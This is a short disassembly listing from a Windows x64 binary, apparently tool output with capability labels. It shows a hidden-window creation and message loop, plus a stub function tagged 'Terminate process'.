call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x14001e940], rax
xor edx, edx
mov rcx, qword [0x14001e940]
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
mov r8d, 1
mov edx, 0x111
mov rcx, qword [0x14001e940]
call qword [sym.imp.USER32.dll_PostMessageW]
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140006631
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140006602
xor eax, eax
add rsp, 0xe0
pop rdi
ret

Function at 0x140006b1c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140006984